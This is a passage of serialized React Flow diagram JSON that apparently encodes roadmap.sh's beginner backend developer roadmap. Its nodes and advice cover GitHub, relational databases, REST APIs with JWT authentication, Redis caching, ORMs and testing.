Systems\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"f2sY4RLE0k8vVAfZFnxgj\"},\"style\":{\"width\":231,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-310.2043395768536,\"y\":309.642069464665},\"dragging\":false,\"selectable\":true},{\"width\":132,\"height\":49,\"id\":\"ptD8EVqwFUYr4W5A_tABY\",\"type\":\"subtopic\",\"position\":{\"x\":-532.4238043165935,\"y\":366.10143585693174},\"selected\":true,\"data\":{\"label\":\"Github\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"eCkVAP0s0GKyY88M2fBDS\",\"legend\":{\"id\":\"NJhQIvMyMD1Cu-JA1UCmJ\",\"color\":\"#874efe\",\"label\":\"Personal Recommendation / Opinion\",\"position\":\"left-center\"}},\"style\":{\"width\":132,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-532.4238043165935,\"y\":366.10143585693174},\"dragging\":false,\"selectable\":true,\"resizing\":false},{\"width\":231,\"height\":49,\"id\":\"NvUcSDWBhzJZ31nzT4UlE\",\"type\":\"topic\",\"position\":{\"x\":-310.2043395768536,\"y\":366.10143585693174},\"selected\":true,\"data\":{\"label\":\"Repo hosting services\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"I-NkKNiKBNB6f8QaFzRgU\"},\"style\":{\"width\":231,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-310.2043395768536,\"y\":366.10143585693174},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":145,\"height\":49,\"id\":\"FihTrMO56kj9jT8O_pO2T\",\"type\":\"subtopic\",\"position\":{\"x\":6.417691768524833,\"y\":485.10143585693174},\"selected\":true,\"data\":{\"label\":\"PostgreSQL\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"lNsaFZwGE7vA0Km-Jfft4\",\"legend\":{\"id\":\"NJhQIvMyMD1Cu-JA1UCmJ\",\"color\":\"#874efe\",\"label\":\"Personal Recommendation / Opinion\",\"position\":\"right-center\"}},\"style\":{\"width\":145,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":6.417691768524833,\"y\":485.10143585693174},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":231,\"height\":50,\"id\":\"r45b461NxLN6wBODJ5CNP\",\"type\":\"topic\",\"position\":{\"x\":-310.2043395768536,\"y\":485.10143585693174},\"selected\":true,\"data\":{\"label\":\"Relational Databases\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"sJ04XNIM7JqzHnffWd5UM\"},\"style\":{\"width\":231,\"height\":50},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-310.2043395768536,\"y\":485.10143585693174},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":161,\"height\":49,\"id\":\"Z7jp_Juj5PffSxV7UZcBb\",\"type\":\"subtopic\",\"position\":{\"x\":-610.8178956686777,\"y\":958.4323026615212},\"selected\":true,\"data\":{\"label\":\"ORMs\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"FHrVrP-ndnV8MsDKMxdsq\"},\"style\":{\"width\":161,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-610.8178956686777,\"y\":958.4323026615212},\"dragging\":false,\"selectable\":true},{\"width\":161,\"height\":49,\"id\":\"qSAdfaGUfn8mtmDjHJi3z\",\"type\":\"subtopic\",\"position\":{\"x\":-610.8178956686777,\"y\":1012.4323026615212},\"selected\":true,\"data\":{\"label\":\"ACID\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"4aBoOyTn1ALDRHYcfwzHf\"},\"style\":{\"width\":161,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-610.8178956686777,\"y\":1012.4323026615212},\"dragging\":false,\"selectable\":true},{\"width\":161,\"height\":49,\"id\":\"rq_y_OBMD9AH_4aoecvAi\",\"type\":\"subtopic\",\"position\":{\"x\":-610.8178956686777,\"y\":1066.4323026615211},\"selected\":true,\"data\":{\"label\":\"Transactions\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"plXELtRHevUzYUL3doQSs\"},\"style\":{\"width\":161,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-610.8178956686777,\"y\":1066.4323026615211},\"dragging\":false,\"selectable\":true},{\"width\":161,\"height\":49,\"id\":\"bQnOAu863hsHdyNMNyJop\",\"type\":\"subtopic\",\"position\":{\"x\":-610.8178956686777,\"y\":1120.4323026615211},\"selected\":true,\"data\":{\"label\":\"N+1 Problem\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"5pdTq6LCx8VXjd0-J1a1s\"},\"style\":{\"width\":161,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-610.8178956686777,\"y\":1120.4323026615211},\"dragging\":false,\"selectable\":true},{\"width\":231,\"height\":49,\"id\":\"LJt27onEOeIBomiEMTyKd\",\"type\":\"topic\",\"position\":{\"x\":-310.2043395768536,\"y\":1011.4323026615211},\"selected\":true,\"data\":{\"label\":\"More about Databases\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"pNTfCAoFYG6YwBm5EOCvw\"},\"style\":{\"width\":231,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-310.2043395768536,\"y\":1011.4323026615211},\"dragging\":false,\"selectable\":true,\"resizing\":false},{\"width\":145,\"height\":49,\"id\":\"sNceS4MpSIjRkWhNDmrFg\",\"type\":\"subtopic\",\"position\":{\"x\":8.678189763286014,\"y\":635.9941785421215},\"selected\":true,\"data\":{\"label\":\"JSON APIs\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"eZd-7w3ka8BhaAx8kGTgi\",\"legend\":{\"id\":\"NJhQIvMyMD1Cu-JA1UCmJ\",\"color\":\"#874efe\",\"label\":\"Personal Recommendation / Opinion\",\"position\":\"right-center\"}},\"style\":{\"width\":145,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":8.678189763286014,\"y\":635.9941785421215},\"dragging\":false,\"selectable\":true,\"resizing\":false},{\"width\":146,\"height\":49,\"id\":\"lfNFDZZNdrB0lbEaMtU71\",\"type\":\"subtopic\",\"position\":{\"x\":6.417691768524833,\"y\":582.9941785421215},\"selected\":true,\"data\":{\"label\":\"REST\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"gVsbyjVssRCpAf6r-tF0O\",\"legend\":{\"id\":\"NJhQIvMyMD1Cu-JA1UCmJ\",\"color\":\"#874efe\",\"label\":\"Personal Recommendation / Opinion\",\"position\":\"right-center\"}},\"style\":{\"width\":146,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":6.417691768524833,\"y\":582.9941785421215},\"dragging\":false,\"selectable\":true,\"resizing\":false},{\"width\":231,\"height\":49,\"id\":\"ELj8af7Mi38kUbaPJfCUR\",\"type\":\"topic\",\"position\":{\"x\":-310.2043395768536,\"y\":726.4861514388111},\"selected\":true,\"data\":{\"label\":\"Caching\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"T632e8R4J001IajMm9yp7\"},\"style\":{\"width\":231,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-310.2043395768536,\"y\":726.4861514388111},\"dragging\":false,\"selectable\":true,\"resizing\":false},{\"width\":190,\"height\":49,\"id\":\"381Kw1IMRv7CJp-Uf--qd\",\"type\":\"subtopic\",\"position\":{\"x\":43.00948964805815,\"y\":1187.4900452642225},\"selected\":true,\"data\":{\"label\":\"Integration Testing\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"U7mP1unVOQgVXCCuXh8De\"},\"style\":{\"width\":190,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":43.00948964805815,\"y\":1187.4900452642225},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":193,\"height\":49,\"id\":\"NAGisfq2CgeK3SsuRjnMw\",\"type\":\"subtopic\",\"position\":{\"x\":43.00948964805815,\"y\":1295.4900452642225},\"selected\":true,\"data\":{\"label\":\"Functional Testing\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"Lcb9mmKc5k2UofZ0_o6Rs\"},\"style\":{\"width\":193,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":43.00948964805815,\"y\":1295.4900452642225},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":193,\"height\":49,\"id\":\"3OYm6b9f6WOrKi4KTOZYK\",\"type\":\"subtopic\",\"position\":{\"x\":43.00948964805815,\"y\":1241.4900452642225},\"selected\":true,\"data\":{\"label\":\"Unit Testing\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"J_kRwf-neWCW5DjfBmybt\"},\"style\":{\"width\":193,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":43.00948964805815,\"y\":1241.4900452642225},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":231,\"height\":49,\"id\":\"STQQbPa7PE3gbjMdL6P-t\",\"type\":\"topic\",\"position\":{\"x\":-310.2043395768536,\"y\":1244.3669598992026},\"selected\":true,\"data\":{\"label\":\"Testing\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"RFUPBl2Q9hBXP9HacPOo1\"},\"style\":{\"width\":231,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-310.2043395768536,\"y\":1244.3669598992026},\"dragging\":false,\"selectable\":true},{\"width\":100,\"height\":49,\"id\":\"g8GjkJAhvnSxXTZks0V1g\",\"type\":\"subtopic\",\"position\":{\"x\":-465.97806963137555,\"y\":726.4861514388111},\"selected\":true,\"data\":{\"label\":\"Redis\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"xPvVwGQw28uMeLYIWn8yn\"},\"style\":{\"width\":100,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":-465.97806963137555,\"y\":726.4861514388111},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":375,\"height\":49,\"id\":\"uSLzfLPXxS5-P7ozscvjZ\",\"type\":\"button\",\"position\":{\"x\":-383.56446376179997,\"y\":1460.4861971343921},\"selected\":true,\"data\":{\"label\":\"Backend Developer Roadmap\",\"href\":\"https://roadmap.sh/backend\",\"color\":\"#FFFFFf\",\"backgroundColor\":\"#4136D4\",\"style\":{\"fontSize\":17},\"borderColor\":\"#4136D4\",\"oldId\":\"PkhQdVms2TGgnPrytCBPZ\"},\"zIndex\":999,\"dragging\":false,\"positionAbsolute\":{\"x\":-383.56446376179997,\"y\":1460.4861971343921},\"style\":{\"width\":375,\"height\":49},\"focusable\":true,\"resizing\":false,\"selectable\":true},{\"width\":20,\"height\":102,\"id\":\"LEijbLyxg4RyutKEM2Y5g\",\"type\":\"vertical\",\"position\":{\"x\":-204.08230823147517,\"y\":-220.42445334555111},\"selected\":true,\"data\":{\"label\":\"vertical node\",\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#0A33FF\"},\"oldId\":\"xD07fJ1NmNeAarVCEfubU\"},\"zIndex\":999,\"positionAbsolute\":{\"x\":-204.08230823147517,\"y\":-220.42445334555111},\"dragging\":false,\"focusable\":true,\"style\":{\"width\":20,\"height\":102},\"resizing\":false,\"selectable\":true},{\"id\":\"qN-6iiXWgn5qSzK3o0Tjo\",\"type\":\"legend\",\"position\":{\"x\":-714.8814218617622,\"y\":-254.09541222709834},\"selected\":true,\"data\":{\"label\":\"\",\"legends\":[{\"id\":\"NJhQIvMyMD1Cu-JA1UCmJ\",\"color\":\"#874efe\",\"label\":\"Personal Recommendation / Opinion\"},{\"id\":\"DMx7rAjVBWMbzjSde-tvp\",\"label\":\"Alternative Option / Pick this or purple\",\"color\":\"#4f7a28\"},{\"id\":\"R9WLhURhPdVNXP7AUTDvR\",\"label\":\"Order not strict / Learn anytime\",\"color\":\"#929292\"}]},\"zIndex\":999,\"width\":353,\"height\":124,\"positionAbsolute\":{\"x\":-714.8814218617622,\"y\":-254.09541222709834},\"dragging\":false,\"focusable\":true,\"selectable\":true},{\"id\":\"yHmHXymPNWwu8p1vvqD3o\",\"type\":\"paragraph\",\"position\":{\"x\":-14.502815208049242,\"y\":-245.15106699547107},\"selected\":true,\"data\":{\"label\":\"Find the detailed version of this roadmap along with other similar roadmaps\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\",\"borderColor\":\"#000000\",\"backgroundColor\":\"#FFFFFf\"}},\"zIndex\":999,\"width\":354,\"height\":143,\"positionAbsolute\":{\"x\":-14.502815208049242,\"y\":-245.15106699547107},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"style\":{\"width\":354,\"height\":143},\"resizing\":false},{\"id\":\"2zqZkyVgigifcRS1H7F_b\",\"type\":\"button\",\"position\":{\"x\":-1.2994407952490974,\"y\":-163.1655035777258},\"selected\":true,\"data\":{\"label\":\"roadmap.sh\",\"href\":\"https://roadmap.sh\",\"color\":\"#ffffff\",\"backgroundColor\":\"#4136D6\",\"style\":{\"fontSize\":17}},\"zIndex\":999,\"width\":329,\"height\":49,\"dragging\":false,\"style\":{\"width\":329,\"height\":49},\"resizing\":false,\"positionAbsolute\":{\"x\":-1.2994407952490974,\"y\":-163.1655035777258},\"selectable\":true,\"focusable\":true},{\"id\":\"MfErpYwkJ0wiWJZEUVfrb\",\"type\":\"button\",\"position\":{\"x\":-714.8814218617622,\"y\":-115.72969257809785},\"selected\":true,\"data\":{\"label\":\"Visit the Detailed Version\",\"href\":\"/backend\",\"color\":\"#ffffff\",\"backgroundColor\":\"#232323\",\"style\":{\"fontSize\":17},\"oldId\":\"2zqZkyVgigifcRS1H7F_b\"},\"zIndex\":999,\"width\":351,\"height\":49,\"dragging\":false,\"style\":{\"width\":351,\"height\":49},\"resizing\":false,\"positionAbsolute\":{\"x\":-714.8814218617622,\"y\":-115.72969257809785},\"selectable\":true,\"focusable\":true},{\"width\":145,\"height\":49,\"id\":\"PY9G7KQy8bF6eIdr1ydHf\",\"type\":\"subtopic\",\"position\":{\"x\":8.678189763286014,\"y\":689.9126418589183},\"selected\":true,\"data\":{\"label\":\"Authentication\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"lfNFDZZNdrB0lbEaMtU71\"},\"style\":{\"width\":145,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":8.678189763286014,\"y\":689.9126418589183},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"width\":123,\"height\":49,\"id\":\"UxS_mzVUjLigEwKrXnEeB\",\"type\":\"subtopic\",\"position\":{\"x\":20.030089179073684,\"y\":749.5986472065365},\"selected\":true,\"data\":{\"label\":\"JWT\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"PY9G7KQy8bF6eIdr1ydHf\"},\"style\":{\"width\":123,\"height\":49},\"zIndex\":999,\"focusable\":true,\"positionAbsolute\":{\"x\":20.030089179073684,\"y\":749.5986472065365},\"dragging\":false,\"resizing\":false,\"selectable\":true},{\"id\":\"le7iJXCULjq_4FHrhrQWu\",\"type\":\"paragraph\",\"position\":{\"x\":-28.74067173877563,\"y\":-51.424453345551115},\"selected\":true,\"data\":{\"label\":\"If you are a frontend developer jumping into backend development, I would recommend picking JavaScript and learning Node.js. Alternatively, Go and Python are also good options.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\"}},\"zIndex\":999,\"width\":360,\"height\":157,\"positionAbsolute\":{\"x\":-28.74067173877563,\"y\":-51.424453345551115},\"dragging\":false,\"style\":{\"width\":360,\"height\":157},\"resizing\":true,\"selectable\":true,\"focusable\":true},{\"id\":\"wgdSRXw6AcPAwQZ0mqBAB\",\"type\":\"paragraph\",\"position\":{\"x\":-28.74067173877563,\"y\":100.59280263144706},\"selected\":true,\"data\":{\"label\":\"Learn the language and build some CLI apps to practice your knowledge.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\",\"color\":\"#001eff\"},\"oldId\":\"le7iJXCULjq_4FHrhrQWu\"},\"zIndex\":999,\"width\":360,\"height\":88,\"positionAbsolute\":{\"x\":-28.74067173877563,\"y\":100.59280263144706},\"dragging\":false,\"style\":{\"width\":360},\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"2BX-MgyEp1AGgtdnUITh5\",\"type\":\"paragraph\",\"position\":{\"x\":-704.3814218617622,\"y\":178.57554665444889},\"selected\":true,\"data\":{\"label\":\"When you are following this roadmap make sure to develop as many projects as possible for each node of the roadmap.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\",\"color\":\"#0033ff\"},\"oldId\":\"le7iJXCULjq_4FHrhrQWu\"},\"zIndex\":999,\"width\":360,\"height\":114,\"positionAbsolute\":{\"x\":-704.3814218617622,\"y\":178.57554665444889},\"dragging\":false,\"style\":{\"width\":360},\"resizing\":true,\"selectable\":true,\"focusable\":true},{\"id\":\"uM-SRBYQen3ZFiCDAyaJa\",\"type\":\"paragraph\",\"position\":{\"x\":-28.74067173877563,\"y\":242.57554665444889},\"selected\":true,\"data\":{\"label\":\"Create your GitHub profile and start using GitHub for your future projects.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\"},\"oldId\":\"le7iJXCULjq_4FHrhrQWu\"},\"zIndex\":999,\"width\":360,\"height\":88,\"positionAbsolute\":{\"x\":-28.74067173877563,\"y\":242.57554665444889},\"dragging\":false,\"style\":{\"width\":360},\"resizing\":true,\"selectable\":true,\"focusable\":true},{\"id\":\"UAbZBrVgdgCyG0GtU7HgE\",\"type\":\"paragraph\",\"position\":{\"x\":-28.74067173877563,\"y\":309.642069464665},\"selected\":true,\"data\":{\"label\":\"See if any of your past projects can be published on GitHub as OpenSource.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\",\"color\":\"#001eff\"},\"oldId\":\"wgdSRXw6AcPAwQZ0mqBAB\"},\"zIndex\":999,\"width\":360,\"height\":88,\"positionAbsolute\":{\"x\":-28.74067173877563,\"y\":309.642069464665},\"dragging\":false,\"style\":{\"width\":360},\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"WE87iPjyRBuLSQjW1-lQA\",\"type\":\"paragraph\",\"position\":{\"x\":-704.3814218617622,\"y\":452.60143585693174},\"selected\":true,\"data\":{\"label\":\"Learn about the relational databases, normalization, DB migrations, SQL, DB Indexes and Query performance analysis.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\"},\"oldId\":\"uM-SRBYQen3ZFiCDAyaJa\"},\"zIndex\":999,\"width\":360,\"height\":114,\"positionAbsolute\":{\"x\":-704.3814218617622,\"y\":452.60143585693174},\"dragging\":false,\"style\":{\"width\":360},\"resizing\":true,\"selectable\":true,\"focusable\":true},{\"id\":\"s1dRHfNP8Q6ytjueRHb1n\",\"type\":\"paragraph\",\"position\":{\"x\":-704.3814218617622,\"y\":581.9126418589183},\"selected\":true,\"data\":{\"label\":\"Learn how to build RESTful APIs and add JWT authentication to secure your APIs.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\"},\"oldId\":\"WE87iPjyRBuLSQjW1-lQA\"},\"zIndex\":999,\"width\":360,\"height\":88,\"positionAbsolute\":{\"x\":-704.3814218617622,\"y\":581.9126418589183},\"dragging\":false,\"style\":{\"width\":360},\"resizing\":true,\"selectable\":true,\"focusable\":true},{\"id\":\"1HAWiOizGfG3OT9KouNQg\",\"type\":\"paragraph\",\"position\":{\"x\":-704.3814218617622,\"y\":643.4861514388111},\"selected\":true,\"data\":{\"label\":\"Develop some API and add JWT auth.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\",\"color\":\"#001eff\"},\"oldId\":\"UAbZBrVgdgCyG0GtU7HgE\"},\"zIndex\":999,\"width\":360,\"height\":63,\"positionAbsolute\":{\"x\":-704.3814218617622,\"y\":643.4861514388111},\"dragging\":false,\"style\":{\"width\":360},\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"W8BIrC9VsUc4Z0t6G_FnZ\",\"type\":\"paragraph\",\"position\":{\"x\":-696.2667613883802,\"y\":793.5986472065365},\"selected\":true,\"data\":{\"label\":\"Learn about different caching strategies, including HTTP caching as well.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\"},\"oldId\":\"s1dRHfNP8Q6ytjueRHb1n\"},\"zIndex\":999,\"width\":360,\"height\":88,\"positionAbsolute\":{\"x\":-696.2667613883802,\"y\":793.5986472065365},\"dragging\":false,\"style\":{\"width\":360},\"resizing\":true,\"selectable\":true,\"focusable\":true},{\"id\":\"lIC09zhXysTm3qlAJqWMI\",\"type\":\"paragraph\",\"position\":{\"x\":-696.2667613883802,\"y\":851.4861514388111},\"selected\":true,\"data\":{\"label\":\"Use Redis in some of your projects.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\",\"color\":\"#001eff\"},\"oldId\":\"1HAWiOizGfG3OT9KouNQg\"},\"zIndex\":999,\"width\":360,\"height\":63,\"positionAbsolute\":{\"x\":-696.2667613883802,\"y\":851.4861514388111},\"dragging\":false,\"style\":{\"width\":360},\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"wMVGAEIHhVbL6ZXGZOb8Q\",\"type\":\"paragraph\",\"position\":{\"x\":-167.56446376179997,\"y\":824.4323026615212},\"selected\":true,\"data\":{\"label\":\"Learn about additional database topics including performance analysis, ORMs, limitations, common issues to keep in mind with ORMs and in general.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\"},\"oldId\":\"W8BIrC9VsUc4Z0t6G_FnZ\"},\"zIndex\":999,\"width\":338,\"height\":137,\"positionAbsolute\":{\"x\":-167.56446376179997,\"y\":824.4323026615212},\"dragging\":false,\"style\":{\"width\":338,\"height\":137},\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"Lj9dbZmTjKHvooKWLEkhU\",\"type\":\"paragraph\",\"position\":{\"x\":-167.56446376179997,\"y\":938.4323026615212},\"selected\":true,\"data\":{\"label\":\"Get some experience with some ORM.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\",\"color\":\"#001eff\"},\"oldId\":\"lIC09zhXysTm3qlAJqWMI\"},\"zIndex\":999,\"width\":360,\"height\":63,\"positionAbsolute\":{\"x\":-167.56446376179997,\"y\":938.4323026615212},\"dragging\":false,\"style\":{\"width\":360},\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"id\":\"lxFXAD1DAeq3bGovSEuXE\",\"type\":\"paragraph\",\"position\":{\"x\":-167.56446376179997,\"y\":1073.4323026615211},\"selected\":true,\"data\":{\"label\":\"Learn about differeng testing techniques and learn learn how to write automated tests.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\"},\"oldId\":\"wMVGAEIHhVbL6ZXGZOb8Q\"},\"zIndex\":999,\"width\":396,\"height\":96,\"positionAbsolute\":{\"x\":-167.56446376179997,\"y\":1073.4323026615211},\"dragging\":false,\"style\":{\"width\":396,\"height\":96},\"resizing\":false,\"selectable\":true,\"focusable\":true}],\"edges\":[{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"sourceHandle\":\"x2\",\"target\":\"sVXZrBCsiSzWBBYWTm-nQ\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"PShueM-HfMGu2Jy1dt73g\",\"selected\":true,\"type\":\"smoothstep\",\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"STQQbPa7PE3gbjMdL6P-t\",\"sourceHandle\":\"z2\",\"target\":\"3OYm6b9f6WOrKi4KTOZYK\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-STQQbPa7PE3gbjMdL6P-tz2-3OYm6b9f6WOrKi4KTOZYKy1\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"STQQbPa7PE3gbjMdL6P-t\",\"sourceHandle\":\"z2\",\"target\":\"381Kw1IMRv7CJp-Uf--qd\",\"targetHandle\":\"y2\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-STQQbPa7PE3gbjMdL6P-tz2-381Kw1IMRv7CJp-Uf--qdy2\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"STQQbPa7PE3gbjMdL6P-t\",\"sourceHandle\":\"z2\",\"target\":\"NAGisfq2CgeK3SsuRjnMw\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-STQQbPa7PE3gbjMdL6P-tz2-NAGisfq2CgeK3SsuRjnMwy1\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"iogwMmOvub2ZF4zgg6WyF\",\"sourceHandle\":\"x2\",\"target\":\"2f0ZO6GJElfZ2Eis28Hzg\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"selected\":true,\"id\":\"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-2f0ZO6GJElfZ2Eis28Hzgw1\",\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"2f0ZO6GJElfZ2Eis28Hzg\",\"sourceHandle\":\"y2\",\"target\":\"8-lO-v6jCYYoklEJXULxN\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-2f0ZO6GJElfZ2Eis28Hzgy2-8-lO-v6jCYYoklEJXULxNz1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"2f0ZO6GJElfZ2Eis28Hzg\",\"sourceHandle\":\"y2\",\"target\":\"BdXbcz4-ar3XOX0wIKzBp\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-2f0ZO6GJElfZ2Eis28Hzgy2-BdXbcz4-ar3XOX0wIKzBpz1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"2f0ZO6GJElfZ2Eis28Hzg\",\"sourceHandle\":\"y2\",\"target\":\"J_sVHsD72Yzyqb9KCIvAY\",\"targetHandle\":\"z1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"reactflow__edge-2f0ZO6GJElfZ2Eis28Hzgy2-J_sVHsD72Yzyqb9KCIvAYz1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"2f0ZO6GJElfZ2Eis28Hzg\",\"sourceHandle\":\"x2\",\"target\":\"ezdqQW9wTUw93F6kjOzku\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"selected\":true,\"focusable\":true,\"selectable\":true,\"id\":\"reactflow__edge-2f0ZO6GJElfZ2Eis28Hzgx2-ezdqQW9wTUw93F6kjOzkuw1\"},{\"style\":{\"strokeDasharray\":\"0.8 